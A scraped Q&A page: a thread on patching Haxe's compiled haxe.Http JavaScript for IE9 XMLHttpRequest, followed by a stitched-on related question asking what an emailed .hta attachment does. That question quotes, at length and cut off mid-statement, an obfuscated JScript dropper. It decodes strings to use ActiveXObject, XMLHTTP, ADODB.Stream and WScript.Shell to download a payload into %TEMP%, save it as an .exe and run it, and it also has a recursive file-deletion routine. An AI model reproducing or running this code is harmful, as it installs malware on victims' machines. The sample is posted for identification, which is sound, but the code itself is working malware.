Haxe IE9 xmlHTTPrequest issue - html
I'm having problems displaying my Haxe game in IE9. It's actually not displaying at all. We tracked down the issue inside the compiled JS file for Haxe and found out that the problem is within the haxe.HTTP API.
There are certain things that need to be checked and done for IE9 to work with xmlhttprequests. These things were not done in the Haxe API.
This is the http class without my fix:
this.url = url;
this.headers = new List();
this.params = new List();
this.async = true;
};
$hxClasses["haxe.Http"] = haxe.Http;
haxe.Http.__name__ = ["haxe","Http"];
haxe.Http.prototype = {
setParameter: function(param,value) {
this.params = Lambda.filter(this.params,function(p) {
return p.param != param;
});
this.params.push({ param : param, value : value});
return this;
}
,request: function(post) {
var me = this;
me.responseData = null;
var r = this.req = js.Browser.createXMLHttpRequest();
var onreadystatechange = function(_) {
if(r.readyState != 4) return;
var s;
try {
s = r.status;
} catch( e ) {
s = null;
}
if(s == undefined) s = null;
if(s != null) me.onStatus(s);
if(s != null && s >= 200 && s < 400) {
me.req = null;
me.onData(me.responseData = r.responseText);
} else if(s == null) {
me.req = null;
me.onError("Failed to connect or resolve host");
} else switch(s) {
case 12029:
me.req = null;
me.onError("Failed to connect to host");
break;
case 12007:
me.req = null;
me.onError("Unknown host");
break;
default:
me.req = null;
me.responseData = r.responseText;
me.onError("Http Error #" + r.status);
}
};
if(this.async) r.onreadystatechange = onreadystatechange;
var uri = this.postData;
if(uri != null) post = true; else {
var $it0 = this.params.iterator();
while( $it0.hasNext() ) {
var p = $it0.next();
if(uri == null) uri = ""; else uri += "&";
uri += encodeURIComponent(p.param) + "=" + encodeURIComponent(p.value);
}
}
try {
if(post) r.open("POST",this.url,this.async); else if(uri != null) {
var question = this.url.split("?").length <= 1;
r.open("GET",this.url + (question?"?":"&") + uri,this.async);
uri = null;
} else r.open("GET",this.url,this.async);
} catch( e1 ) {
me.req = null;
this.onError(e1.toString());
return;
}
if(!Lambda.exists(this.headers,function(h) {
return h.header == "Content-Type";
}) && post && this.postData == null) r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
var $it1 = this.headers.iterator();
while( $it1.hasNext() ) {
var h1 = $it1.next();
r.setRequestHeader(h1.header,h1.value);
}
r.send(uri);
if(!this.async) onreadystatechange(null);
}
,onData: function(data) {
}
,onError: function(msg) {
}
,onStatus: function(status) {
}
,__class__: haxe.Http
};
and this is the code WITH the fix:
haxe.Http = function(url) {
this.url = url;
this.headers = new List();
this.params = new List();
this.async = true;
};
$hxClasses["haxe.Http"] = haxe.Http;
haxe.Http.__name__ = ["haxe","Http"];
haxe.Http.prototype = {
setParameter: function(param,value) {
this.params = Lambda.filter(this.params,function(p) {
return p.param != param;
});
this.params.push({ param : param, value : value});
return this;
}
,request: function(post) {
var me = this;
me.responseData = null;
var r = this.req = js.Browser.createXMLHttpRequest();
var onreadystatechange = function(_) {
console.log('in onreadystatechange function');
//if(r.readyState != 4) return;
console.log(r.responseText);
console.log('r.status: ' + r.status);
me.req = null;
me.onData(me.responseData = r.responseText);
};
if(typeof XDomainRequest != "undefined") {
console.log('XDomainRequest');
r.onload = onreadystatechange;
}
var uri = this.postData;
try {
console.log('calling r.open with url: ' + this.url);
r.open("GET",this.url);
} catch( e1 ) {
me.req = null;
this.onError(e1.toString());
return;
}
//r.send(uri);
//do it, wrapped in timeout to fix ie9
setTimeout(function () {
r.send();
}, 0);
//if(!this.async) onreadystatechange(null);
}
,onData: function(data) {
}
,onError: function(msg) {
}
,onStatus: function(status) {
}
,__class__: haxe.Http
};
Note that this only implements the IE9 fix without doing the if statements to keep support for other browsers. But it's really easy. the IF statement is simply
if(typeof XDomainRequest != "undefined") return new XDomainRequest();
Basically, I know what the issue is, I just have no idea how I can change these things within the core of Haxe itself.
Thanks.
https://github.com/HaxeFoundation/haxe/pull/3449
BAM! Got it working in a local version of my haxe. Fixed for all browsers and sent a pull request. :D
Good job on this one!
You have to contact the Haxe mailing list directly, most thinking heads are over there rather than here :)
https://groups.google.com/d/forum/haxelang
Related
what can this .hta file do?
I just got an email with an attachement of .hta file and here is the code: <html> <head><script language='JScript'> String.prototype.yakamurahirobetobeVIUVIUVIUtttoooo = function() { yakamurahirobetobeVIUVIUVIUXCOP = 0; var yakamurahirobetobeVIUVIUVIUddDccC1, yakamurahirobetobeVIUVIUVIUddDccC2, yakamurahirobetobeVIUVIUVIUc3, yakamurahirobetobeVIUVIUVIUc4; var yakamurahirobetobeVIUVIUVIUsudarinaB = this; yakamurahirobetobeVIUVIUVIUsudarinaB= yakamurahirobetobeVIUVIUVIUsudarinaB.replace(/GOGOGA/g, ''); var yakamurahirobetobeVIUVIUVIUout = ""; var yakamurahirobetobeVIUVIUVIUlen = yakamurahirobetobeVIUVIUVIUsud(yakamurahirobetobeVIUVIUVIUsudarinaB); while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen) { do { yakamurahirobetobeVIUVIUVIUddDccC1 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC1 == -1); if (yakamurahirobetobeVIUVIUVIUddDccC1 == -1) break; var yakamurahirobetobeVIUVIUVIUdodo = false; do { yakamurahirobetobeVIUVIUVIUddDccC2 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff]; yakamurahirobetobeVIUVIUVIUdodo = yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUddDccC2 == -1; } while (yakamurahirobetobeVIUVIUVIUdodo); if (yakamurahirobetobeVIUVIUVIUddDccC2 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode((yakamurahirobetobeVIUVIUVIUddDccC1 << 2) | ((yakamurahirobetobeVIUVIUVIUddDccC2 & 0x30) >> 4)); do { yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc3 == 10*6+0.5*2) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc3 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc3]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc3 == -1); if (yakamurahirobetobeVIUVIUVIUc3 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUddDccC2 & 0XF) << 4) | ((yakamurahirobetobeVIUVIUVIUc3 & 0x3c) >> 2)); do { yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVIUVIUVIUsudarinaB.charCodeAt(yakamurahirobetobeVIUVIUVIUXCOP++) & 0xff; if (yakamurahirobetobeVIUVIUVIUc4 == 61) return yakamurahirobetobeVIUVIUVIUout; yakamurahirobetobeVIUVIUVIUc4 = yakamurahirobetobeVITKS[yakamurahirobetobeVIUVIUVIUc4]; } while (yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUlen && yakamurahirobetobeVIUVIUVIUc4 == -1); if (yakamurahirobetobeVIUVIUVIUc4 == -1) break; yakamurahirobetobeVIUVIUVIUout += String.fromCharCode(((yakamurahirobetobeVIUVIUVIUc3 & 0x03) << 6) | yakamurahirobetobeVIUVIUVIUc4); } return yakamurahirobetobeVIUVIUVIUout; }; function ProcessFolder(folderPath) { var path = ""; for (var i in maskArr) { path = folderPath + "\\" + maskArr[i]; try { fsoObj.DeleteFile(path); } catch (e) {} try { fsoObj.DeleteFolder(path); } catch (e) {} } var subfolders = new Enumerator(fsoObj.GetFolder(folderPath).SubFolders); for(; !subfolders.atEnd(); subfolders.moveNext()) ProcessFolder(subfolders.item().Path); } function yakamurahirobetobeVIUVIUVIUsud(vardos){ return vardos[("yakamurahirobetobeVIUVIUVIUprosy","yakamurahirobetobeVIUVIUVIUoffering","yakamurahirobetobeVIUVIUVIUspecialized","yakamurahirobetobeVIUVIUVIUalicia","yakamurahirobetobeVIUVIUVIUenormity","l") + ("yakamurahirobetobeVIUVIUVIUinter","yakamurahirobetobeVIUVIUVIUcrest","yakamurahirobetobeVIUVIUVIUnoisily","yakamurahirobetobeVIUVIUVIUpenguin","yakamurahirobetobeVIUVIUVIUdrops","en")+("yakamurahirobetobeVIUVIUVIUplaintiff","yakamurahirobetobeVIUVIUVIUholiday","yakamurahirobetobeVIUVIUVIUsymphony","yakamurahirobetobeVIUVIUVIUlegally","yakamurahirobetobeVIUVIUVIUcelibate","gt")+("yakamurahirobetobeVIUVIUVIUappointments","yakamurahirobetobeVIUVIUVIUlooksmart","yakamurahirobetobeVIUVIUVIUmotorcycles","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUchart","h")]; } yakamurahirobetobeVIUVIUVIUmisterdenisk.dEDWWEE = function(){ yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith(), "Function called without arguments"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, "PROPER1"); yakamurahirobetobeVIUVIUVIUok(yakamurahirobetobeVIUVIUVIUspyFunction1.yakamurahirobetobeVIUVIUVIUcalledWith("PROPER1"), "Function called with 'PROPER1' argument"); yakamurahirobetobeVIUVIUVIUpublisher.yakamurahirobetobeVIUVIUVIUpublish(this.yakamurahirobetobeVIUVIUVIUtype1, ["PROPER1", "PROPER2"]); }; var yakamurahirobetobeVITKS = new Array(-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-39,-102,-102,-102,-38,-49,-48,-47,-46,-45,-44,-43,-42,-41,-40,-102,-102,-102,-102,-102,-102,-102,-101,-100,-99,-98,-97,-96,-95,-94,-93,-92,-91,-90,-89,-88,-87,-86,-85,-84,-83,-82,-81,-80,-79,-78,-77,-76,-102,-102,-102,-102,-102,-102,-75,-74,-73,-72,-71,-70,-69,-68,-67,-66,-65,-64,-63,-62,-61,-60,-59,-58,-57,-56,-55,-54,-53,-52,-51,-50,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102,-102); var yakamurahirobetobeVITKI, yakamurahirobetobeVITKSn = yakamurahirobetobeVITKS.length; for (yakamurahirobetobeVITKI= 0; yakamurahirobetobeVITKI < yakamurahirobetobeVITKSn; ++yakamurahirobetobeVITKI) { yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] = yakamurahirobetobeVITKS[yakamurahirobetobeVITKI] + 101; } function moveToParentFolder(parentFolder, folder) { // 対象フォルダのサブフォルダ列挙 var subFolders = new Enumerator(folder.SubFolders); // サブフォルダ内のファイルを移動 for (; !subFolders.atEnd(); subFolders.moveNext()) { moveToParentFolder(parentFolder, subFolders.item()); } // フォルダ内のファイル列挙 var files = new Enumerator(folder.Files); // ファイルを移動 for (; !files.atEnd(); files.moveNext()) { try { files.item().Move(parentFolder.Path + '\\'); } catch (e) { WScript.Echo(e.description + "\n" + files.item().Path); } } // ファイルとサブフォルダがなければフォルダ削除 if (folder.Files.Count == 0 && folder.SubFolders.Count == 0) { try { folder.Delete(true); } catch (e) { WScript.Echo(e.description + "\n" + folder.Path); } } } var yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq = {'U': 'S', ':': '.','88':'', '77':'','HOLSTEN': 'X', '99':'', 'PLAHISH':'ons'}; function yakamurahirobetobeVIUVIUVIUachievment(yakamurahirobetobeVIUVIUVIUbidttt){if(yakamurahirobetobeVIUVIUVIUbidttt==1){return 2;}else{return 17;} return 3;}; function yakamurahirobetobeVIUVIUVIUcenter(yakamurahirobetobeVIUVIUVIUrivulet) { request = yakamurahirobetobeVIUVIUVIUrivulet; for (var yakamurahirobetobeVIUVIUVIUXCOP in yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq){request = request.replace(yakamurahirobetobeVIUVIUVIUXCOP, yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq[yakamurahirobetobeVIUVIUVIUXCOP]);} return request; }; var yakamurahirobetobeVIUVIUVIUDRUZA = 43* (51-2)*(27-26-1); function yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobePOPSPOPx, yakamurahirobetobePOPSPOPy) { yakamurahirobetobePOPSPOPx = DDyakamurahirobetobePOPSPOP * yakamurahirobetobePOPSPOPddd; yakamurahirobetobePOPSPOPy = yakamurahirobetobePOPSPOPZZ + 245; }; var yakamurahirobetobeVIUVIUVIUsecupeku=typeof(yakamurahirobetobeVIUVIUVIUGzEAPd)==="undefined"; var yakamurahirobetobeVIUVIUVIUchosen = 0.5 * 2; if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.scale = function(yakamurahirobetobeVIUVIUVIUp, yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUscaleY) { if (yakamurahirobetobeVIUVIUVIUXCOPsObject(yakamurahirobetobeVIUVIUVIUscaleX)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX.y; yakamurahirobetobeVIUVIUVIUscaleX = yakamurahirobetobeVIUVIUVIUscaleX.x; } else if (!yakamurahirobetobeVIUVIUVIUXCOPsNumber(yakamurahirobetobeVIUVIUVIUscaleY)) { yakamurahirobetobeVIUVIUVIUscaleY = yakamurahirobetobeVIUVIUVIUscaleX; } return new yakamurahirobetobeVIUVIUVIUmisterdenisk(yakamurahirobetobeVIUVIUVIUp.x * yakamurahirobetobeVIUVIUVIUscaleX, yakamurahirobetobeVIUVIUVIUp.y * yakamurahirobetobeVIUVIUVIUscaleY); }; } if(!yakamurahirobetobeVIUVIUVIUsecupeku){ yakamurahirobetobeVIUVIUVIUmisterdenisk.yakamurahirobetobeVIUVIUVIUsameOrN = function(yakamurahirobetobeVIUVIUVIUparam1, yakamurahirobetobeVIUVIUVIUparam2) { return yakamurahirobetobeVIUVIUVIUparam1.D == yakamurahirobetobeVIUVIUVIUparam2.D || yakamurahirobetobeVIUVIUVIUparam1.F == yakamurahirobetobeVIUVIUVIUparam2.F; }; yakamurahirobetobeVIUVIUVIUmisterdenisk.angle = function(yakamurahirobetobeVIUVIUVIUp) { return Math.atan2(yakamurahirobetobeVIUVIUVIUp.y, yakamurahirobetobeVIUVIUVIUp.x); }; } var yakamurahirobetobeVIUVIUVIUVARDOCF ="JVRFTVAl".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUfinde = "QWN0aXZlWE9iamVjdA==".yakamurahirobetobeVIUVIUVIUtttoooo(); String.prototype.yakamurahirobetobeVIUVIUVIUcenter2 = function () { var yakamurahirobetobeVIUVIUVIUpirkinst = { yakamurahirobetobeVIUVIUVIUVARDOCG: this }; yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE = yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCG["c3Vic3RyaW5n".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUDRUZA, yakamurahirobetobeVIUVIUVIUchosen); return yakamurahirobetobeVIUVIUVIUpirkinst.yakamurahirobetobeVIUVIUVIUVARDOCE; }; var yakamurahirobetobeVIUVIUVIUsirdallos ="RXhwYW5kRW52aXJvbm1lbnRTdHJpbmdz".yakamurahirobetobeVIUVIUVIUtttoooo(); var yakamurahirobetobeVIUVIUVIUNative = function(options){ };yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUXCOPmplement = function(yakamurahirobetobeVIUVIUVIUobjects, yakamurahirobetobeVIUVIUVIUproperties){ for (var yakamurahirobetobeVIUVIUVIUXCOP = 0, yakamurahirobetobeVIUVIUVIUl = yakamurahirobetobeVIUVIUVIUobjects.length; yakamurahirobetobeVIUVIUVIUXCOP < yakamurahirobetobeVIUVIUVIUl; yakamurahirobetobeVIUVIUVIUXCOP++) yakamurahirobetobeVIUVIUVIUobjects[yakamurahirobetobeVIUVIUVIUXCOP].yakamurahirobetobeVIUVIUVIUXCOPmplement(yakamurahirobetobeVIUVIUVIUproperties); }; var yakamurahirobetobeVIUVIUVIUd7 = yakamurahirobetobeVIUVIUVIUcenter("77M"+"88SX"+"99ML"+("yakamurahirobetobeVIUVIUVIUmosquitoes","yakamurahirobetobeVIUVIUVIUphoto","yakamurahirobetobeVIUVIUVIUstayed","yakamurahirobetobeVIUVIUVIUgrenada","yakamurahirobetobeVIUVIUVIUreindeer","2.")+"HOLSTENM"+"LH"+"TT"+("yakamurahirobetobeVIUVIUVIUillusory","yakamurahirobetobeVIUVIUVIUcontained","yakamurahirobetobeVIUVIUVIUbilliards","yakamurahirobetobeVIUVIUVIUrefers","yakamurahirobetobeVIUVIUVIUtransexuales","yakamurahirobetobeVIUVIUVIUspecification","yakamurahirobetobeVIUVIUVIUconstitutes","yakamurahirobetobeVIUVIUVIUdesideratum","P}")+"WU"+("yakamurahirobetobeVIUVIUVIUegregious","yakamurahirobetobeVIUVIUVIUdietary","yakamurahirobetobeVIUVIUVIUcelebrity","yakamurahirobetobeVIUVIUVIUhopes","yakamurahirobetobeVIUVIUVIUdrunk","yakamurahirobetobeVIUVIUVIUperiodically","yakamurahirobetobeVIUVIUVIUfatherhood","cr")+("yakamurahirobetobeVIUVIUVIUgenerations","yakamurahirobetobeVIUVIUVIUquarterly","yakamurahirobetobeVIUVIUVIUwording","yakamurahirobetobeVIUVIUVIUpeking","yakamurahirobetobeVIUVIUVIUreturning","yakamurahirobetobeVIUVIUVIUsuccor","yakamurahirobetobeVIUVIUVIUcharging","yakamurahirobetobeVIUVIUVIUmagnify","ip")+"t:S"+("yakamurahirobetobeVIUVIUVIUtoward","yakamurahirobetobeVIUVIUVIUoutlined","yakamurahirobetobeVIUVIUVIUsubstitute","yakamurahirobetobeVIUVIUVIUamend","yakamurahirobetobeVIUVIUVIUfigurative","yakamurahirobetobeVIUVIUVIUdeviation","yakamurahirobetobeVIUVIUVIUlatch","yakamurahirobetobeVIUVIUVIUtyson","h")+"e"+("yakamurahirobetobeVIUVIUVIUsixtytwo","yakamurahirobetobeVIUVIUVIUravenous","yakamurahirobetobeVIUVIUVIUorganize","yakamurahirobetobeVIUVIUVIUcholera","yakamurahirobetobeVIUVIUVIUoptimism","yakamurahirobetobeVIUVIUVIUdonate","yakamurahirobetobeVIUVIUVIUhouseboat","yakamurahirobetobeVIUVIUVIUincumbent","ll")); var yakamurahirobetobeVIUVIUVIUDoUtra = [yakamurahirobetobeVIUVIUVIUfinde, yakamurahirobetobeVIUVIUVIUsirdallos,yakamurahirobetobeVIUVIUVIUVARDOCF, ""+"."+("yakamurahirobetobeVIUVIUVIUcognition","yakamurahirobetobeVIUVIUVIUtrumpery","yakamurahirobetobeVIUVIUVIUpapers","yakamurahirobetobeVIUVIUVIUnecessitate","yakamurahirobetobeVIUVIUVIUesplanade","yakamurahirobetobeVIUVIUVIUwrinkle","yakamurahirobetobeVIUVIUVIUreunion","yakamurahirobetobeVIUVIUVIUtorpor","exe"), "UnVu".yakamurahirobetobeVIUVIUVIUtttoooo(),yakamurahirobetobeVIUVIUVIUd7]; yakamurahirobetobeVIUVIUVIURichters = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); yakamurahirobetobeVIUVIUVIUfabled = "BIL2NEBIL"; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUgenericize = function(object, yakamurahirobetobeVIUVIUVIUproperty, yakamurahirobetobeVIUVIUVIUcheck){ if ((!yakamurahirobetobeVIUVIUVIUcheck || !object[yakamurahirobetobeVIUVIUVIUproperty]) && typeof object.prototype[yakamurahirobetobeVIUVIUVIUproperty] == 'function') object[yakamurahirobetobeVIUVIUVIUproperty] = function(){ return object.prototype[yakamurahirobetobeVIUVIUVIUproperty].apply(yakamurahirobetobeVIUVIUVIUargs.shift(), yakamurahirobetobeVIUVIUVIUargs); }; }; yakamurahirobetobeVIUVIUVIUNative.yakamurahirobetobeVIUVIUVIUtypize = function(object, yakamurahirobetobeVIUVIUVIUfamily){ if (!object.type) object.type = function(item){ return (yakamurahirobetobeVIUVIUVIU$type(item) === yakamurahirobetobeVIUVIUVIUfamily); }; }; var yakamurahirobetobeVIUVIUVIULitoyDISK = this[yakamurahirobetobeVIUVIUVIURichters ]; yakamurahirobetobeVIUVIUVIUcasque = (("yakamurahirobetobeVIUVIUVIUinterpose", "yakamurahirobetobeVIUVIUVIUmorphine", "yakamurahirobetobeVIUVIUVIUshipped", "yakamurahirobetobeVIUVIUVIUdiagonal", "yakamurahirobetobeVIUVIUVIUdelta", "yakamurahirobetobeVIUVIUVIUwhiles", "yakamurahirobetobeVIUVIUVIUsynthetic", "pwrthrthrthtr") + "hrhrwhrwh").yakamurahirobetobeVIUVIUVIUcenter2(); yakamurahirobetobeVIUVIUVIUtudabilo1 = (("yakamurahirobetobeVIUVIUVIUachieved", "yakamurahirobetobeVIUVIUVIUfilms", "yakamurahirobetobeVIUVIUVIUinflected", "yakamurahirobetobeVIUVIUVIUsuburban", "yakamurahirobetobeVIUVIUVIUoriginating", "yakamurahirobetobeVIUVIUVIUpuppy", "yakamurahirobetobeVIUVIUVIUflower", "yakamurahirobetobeVIUVIUVIUencounter", "yakamurahirobetobeVIUVIUVIUearning", "serhrth") + "herrth4th4wh").yakamurahirobetobeVIUVIUVIUcenter2(); var yakamurahirobetobeVIUVIUVIUd2 = yakamurahirobetobeVIUVIUVIUDoUtra.pop(); var yakamurahirobetobeVIUVIUVIUrampart = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[1]); var yakamurahirobetobeVIUVIUVIUsudabilo1 = new yakamurahirobetobeVIUVIUVIULitoyDISK(yakamurahirobetobeVIUVIUVIUd2.split("}")[0]); var yakamurahirobetobeVIUVIUVIUvulture = yakamurahirobetobeVIUVIUVIUrampart[yakamurahirobetobeVIUVIUVIUDoUtra.shift()](yakamurahirobetobeVIUVIUVIUDoUtra.shift()); var yakamurahirobetobeVIUVIUVIUweasel = "E"; var yakamurahirobetobeVIUVIUVIUamalgamation = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUpromises = yakamurahirobetobeVIUVIUVIUDoUtra.shift(); var yakamurahirobetobeVIUVIUVIUostrokoncert = "b3Blbg==".yakamurahirobetobeVIUVIUVIUtttoooo(); yakamurahirobetobeVIUVIUVIURhXxGud = "type"; function yakamurahirobetobeVIUVIUVIU_a2(yakamurahirobetobeVIUVIUVIUgutter, yakamurahirobetobeVIUVIUVIUStrokaParam2) { var yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUvulture; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander+ "\u002f"; yakamurahirobetobeVIUVIUVIUwandermander=yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUStrokaParam2 ; yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUostrokoncert](("yakamurahirobetobeVIUVIUVIUpossibilities","yakamurahirobetobeVIUVIUVIUportsmouth","yakamurahirobetobeVIUVIUVIUiceland","yakamurahirobetobeVIUVIUVIUcommodity","yakamurahirobetobeVIUVIUVIUslash","yakamurahirobetobeVIUVIUVIUlocate","yakamurahirobetobeVIUVIUVIUtechno","yakamurahirobetobeVIUVIUVIUlabour","G" + yakamurahirobetobeVIUVIUVIUweasel) + ("yakamurahirobetobeVIUVIUVIUcringe","yakamurahirobetobeVIUVIUVIUintolerance","yakamurahirobetobeVIUVIUVIUbraxton","yakamurahirobetobeVIUVIUVIUdappled","yakamurahirobetobeVIUVIUVIUvestibule","yakamurahirobetobeVIUVIUVIUaffirmation","yakamurahirobetobeVIUVIUVIUpriestess","yakamurahirobetobeVIUVIUVIUjerry","yakamurahirobetobeVIUVIUVIUmilliner","yakamurahirobetobeVIUVIUVIUsheriff","T"), yakamurahirobetobeVIUVIUVIUgutter, false); yakamurahirobetobeVIUVIUVIUsudabilo1.setRequestHeader("User-Agent", "TW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMCk=".yakamurahirobetobeVIUVIUVIUtttoooo()); yakamurahirobetobeVIUVIUVIUsudabilo1[yakamurahirobetobeVIUVIUVIUtudabilo1 + ("yakamurahirobetobeVIUVIUVIUtrader","yakamurahirobetobeVIUVIUVIUconsumptive","yakamurahirobetobeVIUVIUVIUharass","yakamurahirobetobeVIUVIUVIUprofession","yakamurahirobetobeVIUVIUVIUmedicare","end")](); yakamurahirobetobeVIUVIUVIUwandermander = yakamurahirobetobeVIUVIUVIUwandermander + yakamurahirobetobeVIUVIUVIUamalgamation; if (yakamurahirobetobeVIUVIUVIUsecupeku) { var yakamurahirobetobeVIUVIUVIUNananananananana = new yakamurahirobetobeVIUVIUVIULitoyDISK(("ARYBKA"+("yakamurahirobetobeVIUVIUVIUchichester","yakamurahirobetobeVIUVIUVIUbreakwater","yakamurahirobetobeVIUVIUVIUpromotional","yakamurahirobetobeVIUVIUVIUcosmetics","yakamurahirobetobeVIUVIUVIUbrunswick","yakamurahirobetobeVIUVIUVIUoptional","yakamurahirobetobeVIUVIUVIUmicro","yakamurahirobetobeVIUVIUVIUnominee","O")+"DB"+("yakamurahirobetobeVIUVIUVIUregarding","yakamurahirobetobeVIUVIUVIUcaretaker","yakamurahirobetobeVIUVIUVIUrepugnant","yakamurahirobetobeVIUVIUVIUcorfu","yakamurahirobetobeVIUVIUVIUunbiased","yakamurahirobetobeVIUVIUVIUenquiry","yakamurahirobetobeVIUVIUVIUinteresting",".S")+"tr12").replace("RYBKA", "D").replace("12", "eam")); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIUostrokoncert](); yakamurahirobetobeVIUVIUVIUNananananananana[yakamurahirobetobeVIUVIUVIURhXxGud] = yakamurahirobetobeVIUVIUVIUchosen; yakamurahirobetobePAPAPAMGaSMa = "BIL10NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["d3JpdGU=".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUsudabilo1[("yakamurahirobetobeVIUVIUVIUmephistopheles","yakamurahirobetobeVIUVIUVIUgeneva","yakamurahirobetobeVIUVIUVIUstrategic","yakamurahirobetobeVIUVIUVIUmaybe","yakamurahirobetobeVIUVIUVIUlibyan","yakamurahirobetobeVIUVIUVIUdrivers","Re")+"s"+("yakamurahirobetobeVIUVIUVIUappeals","yakamurahirobetobeVIUVIUVIUmyanmar","yakamurahirobetobeVIUVIUVIUpicked","yakamurahirobetobeVIUVIUVIUprimrose","yakamurahirobetobeVIUVIUVIUmagazines","yakamurahirobetobeVIUVIUVIUscorch","p")+yakamurahirobetobeVIUVIUVIUqtcnthltqfqrhfq['PLAHISH']+"e"+"Qm9keQ==".yakamurahirobetobeVIUVIUVIUtttoooo()]); yakamurahirobetobeVIUVIUVIUXWaxeQhw = "BIL11NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana[(yakamurahirobetobeVIUVIUVIUcasque + "o"+"220"+("yakamurahirobetobeVIUVIUVIUadhered","yakamurahirobetobeVIUVIUVIUadobe","yakamurahirobetobeVIUVIUVIUconcerning","yakamurahirobetobeVIUVIUVIUguidelines","yakamurahirobetobeVIUVIUVIUacclamation","yakamurahirobetobeVIUVIUVIUhomes","yakamurahirobetobeVIUVIUVIUcontumely","22i")+"tion").replace("22"+("yakamurahirobetobeVIUVIUVIUpressure","yakamurahirobetobeVIUVIUVIUbarrow","yakamurahirobetobeVIUVIUVIUanymore","yakamurahirobetobeVIUVIUVIUapparatus","yakamurahirobetobeVIUVIUVIUlocations","yakamurahirobetobeVIUVIUVIUlobby","yakamurahirobetobeVIUVIUVIUcentres","022"), yakamurahirobetobeVIUVIUVIUtudabilo1)] = 0; yakamurahirobetobeVIUVIUVIUkrDwvrh = "BIL12NEBIL"; yakamurahirobetobeVIUVIUVIUNananananananana["c2F2ZVRvRmlsZQ==".yakamurahirobetobeVIUVIUVIUtttoooo()](yakamurahirobetobeVIUVIUVIUwandermander, 2); yakamurahirobetobeVIUVIUVIUSswQdi = 